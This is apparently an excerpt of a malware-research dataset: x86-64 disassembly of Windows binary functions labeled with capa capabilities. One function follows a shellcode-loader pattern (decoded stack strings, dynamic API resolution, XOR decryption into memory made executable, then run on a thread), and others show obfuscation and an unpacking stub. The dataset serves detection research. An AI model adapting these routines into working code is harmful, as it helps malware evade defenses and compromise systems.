joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d4e00
Capabilities:
Parse pe header

Disassembly:
xchg r14, rbx
mov qword [rsp + 8], r14
xchg r14, rbx
mov qword [rsp + 0x10], rdx
push rbp
nop
sub rsp, 8
mov qword [rsp], rsi
push rdi
nop
push 0x1c10f81d
mov qword [rsp], r12
nop
push 0x714da12f
mov qword [rsp], r13
push r14
push r15
sub rsp, 0x30
xchg r14, r8
mov r8, r14
xchg r14, r8
xchg r8, rdx
mov r12, r8
xchg rdx, r8
test rdx, rdx
je 0x1400d5010
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x1400d5010
movsxd rdi, dword [rdx + 0x3c]
add rdi, rdx
cmp dword [rdi], 0x4550
jne 0x1400d5010
mov eax, 0x20b
cmp word [rdi + 0x18], ax
jne 0x1400d5010
xor r15d, r15d
mov r13d, r15d
mov ebp, r15d
cmp r15w, word [rdi + 6]
jae 0x1400d5005
nop dword [rax]
mov eax, ebp
lea rbx, [rax + rax*4]
shl rbx, 2
shl rbx, 1
mov eax, dword [rdi + rbx + 0x12c]
and eax, 0xc0000000
cmp eax, 0x40000000
jne 0x1400d4ff7
mov ecx, 0x60
call fcn.14014ee88
xchg rsi, rdx
mov rdx, rax
xchg rsi, rdx
mov qword [rsp + 0x20], rax
test rax, rax
lea rax, [rdi + 0x114]
je 0x1400d4f24
lea r15, [rdi + 0x118]
add r15, rbx
mov r8d, dword [r15]
add rax, rbx
xchg rbx, rax
mov qword [rsp + 0x88], rbx
xchg rbx, rax
mov edx, dword [rax]
add rdx, r12
xchg rbx, rsi
mov rcx, rbx
xchg rbx, rsi
call fcn.1400d9ad0
lea rax, [0x140003e48]
mov qword [rsi], rax
jmp 0x1400d4f42
xchg rsi, r15
mov r15, rsi
xchg r15, rsi
lea r15, [rdi + 0x118]
add r15, rbx
add rax, rbx
mov qword [rsp + 0x88], rax
mov r12d, dword [r15]
mov ecx, r12d
call fcn.14014eecc
xchg r13, rbx
mov r13, rax
xchg rbx, r13
test rax, rax
je 0x1400d4f77
mov r8d, r12d
xor edx, edx
xchg r11, rcx
mov r11, rax
xchg rcx, r11
call fcn.14014ff06
jmp 0x1400d4f79
xor ebx, ebx
mov r8d, dword [r15]
xchg rdi, rax
mov rdi, qword [rsp + 0x88]
xchg rdi, rax
mov edx, dword [rax]
mov r12, qword [rsp + 0x78]
add rdx, r12
xchg rcx, r15
mov r15, rbx
xchg rcx, r15
call fcn.14014ff30
mov rax, qword [rsi]
xchg rbp, rdx
mov rbp, rbx
xchg rbp, rdx
xchg rcx, r12
mov r12, rsi
xchg rcx, r12
call qword [rax + 0x10]
mov qword [rsp + 0x88], rsi
mov rdx, qword [r14 + 8]
cmp rdx, qword [r14 + 0x10]
je 0x1400d4fdb
mov qword [rdx], rsi
add qword [r14 + 8], 8
jmp 0x1400d4ff1
lea r8, [rsp + 0x88]
xchg rcx, r10
mov r10, r14
xchg r10, rcx
call fcn.1400d41a0
inc r13d
xor r15d, r15d
inc ebp
movzx eax, word [rdi + 6]
cmp ebp, eax
jb 0x1400d4e9a
test r13d, r13d
setne al
jmp 0x1400d5012
xor al, al
xchg rbx, r9
mov r9, qword [rsp + 0x70]
xchg rbx, r9
add rsp, 0x30
nop
mov r15, qword [rsp]
add rsp, 8
push rbx
push rbx
push rdx
push rcx
xchg qword [rsp + 0x20], r14
add rsp, 0x28
nop
add rsp, 8
xchg qword [rsp - 8], r13
nop
xchg qword [rsp], r12
add rsp, 8
nop
xchg qword [rsp], rdi
add rsp, 8
nop
mov rsi, qword [rsp]
add rsp, 8
nop
add rsp, 8
xchg qword [rsp - 8], rbp
ret
Function at 0x1400d5370
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
xchg rdx, r9
mov qword [rsp + 0x20], rdx
xchg rdx, r9
xchg rbx, r8
mov qword [rsp + 0x18], rbx
xchg rbx, r8
mov qword [rsp + 8], rcx
nop
push 0x3ba3f05b
mov qword [rsp], rbx
push rbp
nop
push 0x50f50086
mov qword [rsp], rsi
nop
mov qword [rsp - 8], rdi
sub rsp, 8
push r12
nop
sub rsp, 8
mov qword [rsp], r13
push r14
push r15
sub rsp, 0x58
mov rbx, r9
xchg rdx, rbp
mov rsi, rbp
xchg rdx, rbp
xchg r8, rcx
mov r9, r8
xchg rcx, r8
xor ebp, ebp
test rdx, rdx
jne 0x1400d53e4
mov eax, ebp
jmp 0x1400d5411
mov eax, 0x5a4d
cmp word [rdx], ax
je 0x1400d5400
xchg r14, rbp
mov rax, r14
xchg rbp, r14
jmp 0x1400d5411
movsxd rax, dword [rdx + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
cmovne rax, rbp
mov ecx, 0x20b
cmp word [rax + 0x18], cx
jne 0x1400d5527
mov r14d, dword [rax + 0x88]
add r14, rsi
je 0x1400d5527
mov r15d, dword [r14 + 0x1c]
add r15, rsi
mov r12d, dword [r14 + 0x24]
add r12, rsi
mov r13d, dword [r14 + 0x20]
add r13, rsi
mov edi, ebp
cmp dword [r14 + 0x18], 0
jbe 0x1400d5503
nop dword [rax]
nop dword [rax + rax]
mov eax, edi
mov ecx, dword [r13 + rax*4]
add rcx, rsi
movzx eax, word [r12 + rax*2]
mov edx, dword [r15 + rax*4]
add rdx, rsi
cmp rcx, 0xffff
jbe 0x1400d54f7
mov qword [rsp + 0xa8], rdx
xchg r15, rcx
mov qword [rsp + 0x30], r15
xchg r15, rcx
mov qword [rsp + 0x38], r8
xchg r9, r8
mov qword [rsp + 0x40], r8
xchg r8, r9
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400d559f
mov rax, qword [rcx]
lea rdx, [rsp + 0xa8]
xchg rdx, rbp
mov qword [rsp + 0x20], rbp
xchg rdx, rbp
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
call qword [rax + 0x10]
test al, al
je 0x1400d5503
mov r8, qword [rsp + 0xb0]
xchg rbx, r9
mov rbx, qword [rsp + 0xa0]
xchg r9, rbx
inc edi
cmp edi, dword [r14 + 0x18]
jb 0x1400d545e
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400d5520
cmp rcx, rbx
mov rax, qword [rcx]
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], rbp
mov al, 1
jmp 0x1400d554c
xchg r9, rcx
mov r9, qword [rbx + 0x38]
xchg rcx, r9
test rcx, rcx
je 0x1400d554a
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], rbp
xor al, al
add rsp, 0x58
push rax
xchg qword [rsp + 8], r15
pop rax
add rsp, 8
nop
add rsp, 8
xchg qword [rsp - 8], r14
nop
mov r13, qword [rsp]
add rsp, 8
nop
add rsp, 8
mov r12, qword [rsp - 8]
nop
mov rdi, qword [rsp]
add rsp, 8
nop
add rsp, 8
xchg qword [rsp - 8], rsi
push rax
xchg qword [rsp + 8], rbp
add rsp, 0x10
nop
xchg qword [rsp], rbx
add rsp, 8
ret
call fcn.14014fcbc
nop
int3
Function at 0x1400d9bc0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xchg rdx, rcx
mov r11, rcx
xchg rdx, rcx
xchg rdi, rcx
mov r10, rdi
xchg rcx, rdi
test rdx, rdx
je 0x1400d9c44
mov qword [rsp], rbx
movzx ebx, byte [rsp + 0x30]
test r9, r9
je 0x1400d9c31
movzx eax, byte [r10]
test bl, bl
je 0x1400d9c13
lea rcx, [r9 - 1]
xchg r11, r9
mov rdx, r11
xchg r9, r11
add rcx, r8
nop
xor al, byte [rcx]
lea rcx, [rcx - 1]
mov byte [r10], al
sub rdx, 1
jne 0x1400d9c02
jmp 0x1400d9c31
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
xor al, byte [rcx + r8]
inc rcx
mov byte [r10], al
cmp rcx, r9
jb 0x1400d9c22
inc r10
sub r11, 1
jne 0x1400d9be4
xchg rbx, rcx
mov rcx, qword [rsp]
xchg rbx, rcx
add rsp, 8
ret

Function at 0x1400dbcd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
xchg rsi, r13
mov qword [rsp + 0x10], r13
xchg r13, rsi
xchg r10, rdi
mov qword [rsp + 0x18], r10
xchg rdi, r10
push rdi
mov qword [rsp], rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rdi, r8
xchg rdx, rbp
mov rbx, rbp
xchg rbp, rdx
xchg rsi, rcx
mov rcx, rsi
xchg rsi, rcx
test r8, r8
je 0x1400dbe7f
nop
mov dword [rbp - 0x29], 0xf6f6f6f6
mov dword [rbp + 0x16], 0x3d3c3b3a
mov dword [rbp - 0x25], 0xf6f6f6f6
mov dword [rbp + 0x1a], 0x41403f3e
mov dword [rbp - 0x21], 0xf6f6f6f6
mov dword [rbp + 0x1e], 0x4c4b4342
mov dword [rbp - 0x1d], 0xf6f6f6f6
mov dword [rbp + 0x22], 0x504f4e4d
mov dword [rbp - 0x19], 0xf6f6f6f6
mov dword [rbp + 0x26], 0x54535251
mov dword [rbp - 0x15], 0xf6f6f6f6
mov dword [rbp + 0x2a], 0x58575655
mov dword [rbp - 0x11], 0xf6f6f6f6
mov dword [rbp + 0x2e], 0x5c5b5a59
mov dword [rbp - 0xd], 0xf6f6f6f6
mov dword [rbp + 0x32], 0x605f5e5d
mov dword [rbp - 9], 0xf6f6f6f6
mov dword [rbp + 0x36], 0x64636261
mov dword [rbp - 5], 0xf6f6f6f6
mov dword [rbp + 0x3a], 0x6e6d6c6b
mov dword [rbp - 1], 0xf6f6f6f6
mov dword [rbp + 0x3e], 0x7271706f
mov dword [rbp + 3], 0xf6f6f6f6
mov dword [rbp + 0x42], 0x76757473
mov dword [rbp + 7], 0xf6f6f6f6
mov dword [rbp + 0x46], 0x7a797877
mov dword [rbp + 0xb], 0xf6f6f6f6
mov dword [rbp + 0x4a], 0x7e7d7c7b
mov dword [rbp + 0xf], 0xf6f6f6f6
mov dword [rbp + 0x4e], 0x8281807f
mov word [rbp + 0x13], 0xf6f6
mov word [rbp + 0x52], 0x8483
xor eax, eax
mov byte [rbp + 0x54], al
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x16]
movzx edx, byte [rbp + rax - 0x29]
add dl, cl
mov byte [rbp + rax + 0x16], dl
mov byte [rbp + rax - 0x29], 0
inc rax
cmp rax, 0x3e
jb 0x1400dbe0c
mov edx, 0x3e
xor ecx, ecx
call fcn.1400dc560
movsxd rcx, eax
movzx edx, byte [rbp + rcx + 0x16]
xor eax, eax
nop dword [rax]
nop dword [rax + rax]
mov byte [rbp + rax + 0x16], 0
inc rax
cmp rax, 0x3e
jb 0x1400dbe50
mov byte [rbx], dl
inc rbx
sub rdi, 1
jne 0x1400dbd1c
xchg r12, rbx
mov qword [rsi], r12
xchg rbx, r12
jmp 0x1400dbe88
xchg r11, rdx
mov qword [rcx], r11
xchg r11, rdx
xchg rbx, rax
mov rbx, rsi
xchg rbx, rax
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
xchg rsi, r8
mov r8, qword [r11 + 0x18]
xchg rsi, r8
mov rdi, qword [r11 + 0x20]
mov rsp, r11
push rdx
xchg qword [rsp + 8], rbp
add rsp, 0x10
ret
Function at 0x1400dc810
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x1400dc879
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x1400dc834
mov ecx, dword [r9]
jmp 0x1400dc96e
cmp ecx, 0x4e0
jb 0x1400dc96e
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400dc898
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400dc8ec
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
xchg rcx, rbx
mov rcx, qword [rsp]
xchg rbx, rcx
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 5
shr ecx, 3
shr ecx, 2
shr ecx, 1
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 1
shl eax, 1
shl eax, 3
shl eax, 1
shl eax, 1
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 6
shl eax, 8
shl eax, 1
xor edx, eax
mov eax, edx
shr eax, 0x11
shr eax, 1
xor eax, edx
add rsp, 8
ret
Function at 0x14014f88c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
push rcx
call 0x1408ea860
test rax, rax
je 0x14014f8d6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14014f8d6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14014f8d6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14014f8d6
cmp dword [rcx + 0x84], 0xe
jbe 0x14014f8d6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14014f8d8
xor al, al
add rsp, 0x28
ret

Function at 0x14017d570
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14017d59d
xor al, al
jmp 0x14017d6ff
mov rax, qword [0x14019c6c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14019c6c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14019c6d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14019c6d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14019c6e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14019c6e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14019c6f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14019c6f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14019c700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14017d6f1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14017d649
mov r11d, 2
jmp 0x14017d66d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14017d663
mov r11d, 1
jmp 0x14017d66d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14017d715
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14017d6b2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14017d6ca
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14017d6da
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14017d6e8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14017d630
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14017d6fa
Function at 0x14046d67a
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
jmp 0x140c16b05
syscall
ret

Function at 0x140731d6b
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
jmp 0x140d2701d
syscall
ret
Function at 0x6bac1417
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x6bac144b
mov qword [0x6bb10910], rcx
xor r9d, r9d
lea r8, [0x6bac1400]
xor edx, edx
mov qword [rsp + 0x28], 0
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x6bac152c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x118
mov r15, r8
lea rbx, [rsp + 0x56]
lea rdi, [rsp + 0x7a]
mov r14, rcx
mov dword [rsp + 0x168], edx
lea r13, [rsp + 0xb6]
lea r12, [rsp + 0xde]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e7
imul ebp, dword [rsp + 0x168], 3
cdq
idiv ecx
mov rcx, rbx
lea eax, [rbp + rdx]
mov edx, 7
lea rbp, [rsp + 0xca]
mov dword [rsp + 0x44], eax
movabs rax, 0x665c7171706856
mov qword [rsp + 0x56], rax
call fcn.6bac1480
lea r8, [rsp + 0x62]
mov edx, 5
mov dword [rsp + 0x62], 0x6c6a6b41
mov rcx, r8
mov word [rsp + 0x66], 0x5f
call fcn.6bac1480
lea r11, [rsp + 0x6e]
mov edx, 7
movabs rax, 0x6e5e61716d7150
mov rcx, r11
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x6e], rax
call fcn.6bac1480
mov edx, 0xc
mov rcx, rdi
movabs rax, 0x2b2d47414b50444b
mov qword [rsp + 0x7a], rax
mov dword [rsp + 0x82], 0x61625b26
mov byte [rsp + 0x86], 0
call fcn.6bac1480
lea rcx, [rsp + 0x8e]
movabs rax, 0x5e6d506172637451
mov edx, 0xc
mov qword [rsp + 0x8e], rax
mov dword [rsp + 0x96], 0x3846386a
mov byte [rsp + 0x9a], 0
call fcn.6bac1480
mov edx, 7
movabs rax, 0x72406c62636b53
mov qword [rsp + 0xa2], rax
lea rax, [rsp + 0xa2]
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.6bac1480
mov rcx, r13
mov edx, 9
movabs rax, 0x655e29686962736e
mov qword [rsp + 0xb6], rax
mov word [rsp + 0xbe], 0x64
call fcn.6bac1480
mov rcx, rbp
movabs rax, 0x3a5f7061724f734e
mov edx, 0x10
mov qword [rsp + 0xca], rax
movabs rax, 0x555358665d4a5a68
mov qword [rsp + 0xd2], rax
mov byte [rsp + 0xda], 0
call fcn.6bac1480
mov r9, rbx
mov rcx, r12
mov edx, 0x19
mov rsi, qword [0x6bb0ca00]
mov qword [rsp + 0x20], r8
lea r8, str._s_s
call rsi
mov r11, qword [rsp + 0x48]
mov r9, rbx
mov edx, 0x19
lea r10, [rsp + 0xf7]
lea r8, str._s_s
mov qword [rsp + 0x20], r11
mov rcx, r10
mov qword [rsp + 0x48], r10
call rsi
mov rsi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
call rsi
mov rdx, r12
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rbx
mov rcx, rdi
mov r12, rax
call rsi
mov r10, qword [rsp + 0x48]
mov rcx, rax
mov rdx, r10
call rbx
mov rcx, r13
mov qword [rsp + 0x48], rax
call rsi
mov rdx, rbp
mov rcx, rax
call rbx
movsxd rbp, dword [rsp + 0x44]
mov r9d, 4
xor ecx, ecx
mov r8d, 0x3000
mov r13, rax
mov rdx, rbp
call r12
mov r12, rax
call fcn.6bac14fd
call fcn.6bac14c1
mov r10, qword [rsp + 0x48]
xor eax, eax
cmp dword [rsp + 0x168], eax
jle 0x6bac17c0
mov rdx, rax
and edx, 3
mov dl, byte [r15 + rdx]
xor dl, byte [r14 + rax]
mov byte [r12 + rax], dl
inc rax
jmp 0x6bac17a0
lea r9, [rsp + 0x50]
mov rdx, rbp
mov rcx, r12
mov r8d, 0x20
call r10
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov dword [rsp + 0x20], 0
mov rcx, rax
call r13
mov rcx, rdi
call rsi
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call rbx
mov edx, 1
mov ecx, 0x1388
call rax
nop
add rsp, 0x118
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6bac1ba0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6bac2e40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.6bac2e40
mov rdx, rbx
mov r8, rsi
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x6bac1c10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x6bb105e4]
mov rsi, rcx
mov rbp, rdx
mov rbx, r8
test edi, edi
jle 0x6bac1db0
mov rax, qword [0x6bb105e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x6bac1c5c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x6bac1ce9
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x6bac1c40
mov rcx, rsi
call fcn.6bac2950
mov r12, rax
test rax, rax
je 0x6bac1de5
mov rax, qword [0x6bb105e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.6bac2a80
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6bb105e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6bac1df4
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6bac1ce2
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6bac1d62
add dword [0x6bb105e4], 1
cmp ebx, 8
jae 0x6bac1d15
test bl, 4
jne 0x6bac1dc0
test ebx, ebx
je 0x6bac1d0a
movzx eax, byte [rbp]
mov byte [rsi], al
test bl, 2
jne 0x6bac1dd4
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
lea rcx, [rsi + 8]
and rcx, 0xfffffffffffffff8
mov qword [rsi], rax
mov eax, ebx
mov rdx, qword [rbp + rax - 8]
mov qword [rsi + rax - 8], rdx
sub rsi, rcx
add ebx, esi
sub rbp, rsi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6bac1d0a
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rbp + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x6bac1d45
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x6bb105e8]
mov r9, rdi
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6bac1ce2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6bac1ba0
nop word cs:[rax + rax]
xor edi, edi
jmp 0x6bac1c67
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rsi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rsi + rbx - 4], eax
jmp 0x6bac1d0a
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rsi + rbx - 2], ax
jmp 0x6bac1d0a
mov rdx, rsi
lea rcx, str.Address__p_has_no_image_section
call fcn.6bac1ba0
mov rax, qword [0x6bb105e8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.6bac1ba0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x6bac25a0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6bb108c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6bb108a0]
test rbx, rbx
je 0x6bac25f4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6bac25eb
test rsi, rsi
je 0x6bac25eb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6bac25d0
lea rcx, [0x6bb108c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6bac2950
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x6bb0d220]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x6bac29bf
mov rcx, r9
call fcn.6bac2820
test eax, eax
je 0x6bac29bf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x6bac29bd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x6bac29b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x6bac29bf
add rdx, 0x28
cmp rdx, r9
jne 0x6bac29a0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x1418f21b0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1418f21bd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1418f21cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1418f21b5
lea eax, [rcx + 1]
jmp 0x1418f21db
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1418f21ee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1418f21d4
sub eax, 3
jb 0x1418f220e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1418f225d
sar eax, 1
movsxd rbp, eax
jb 0x1418f2244
jmp 0x1418f221c
add ebx, ebx
jne 0x1418f221a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1418f2244
inc ecx
add ebx, ebx
jne 0x1418f222a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1418f2244
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1418f223d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1418f222c
add ecx, 2
jmp 0x1418f2249
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1418f2172
jmp 0x1418f21bd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xde600
mov dl, 0x29
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
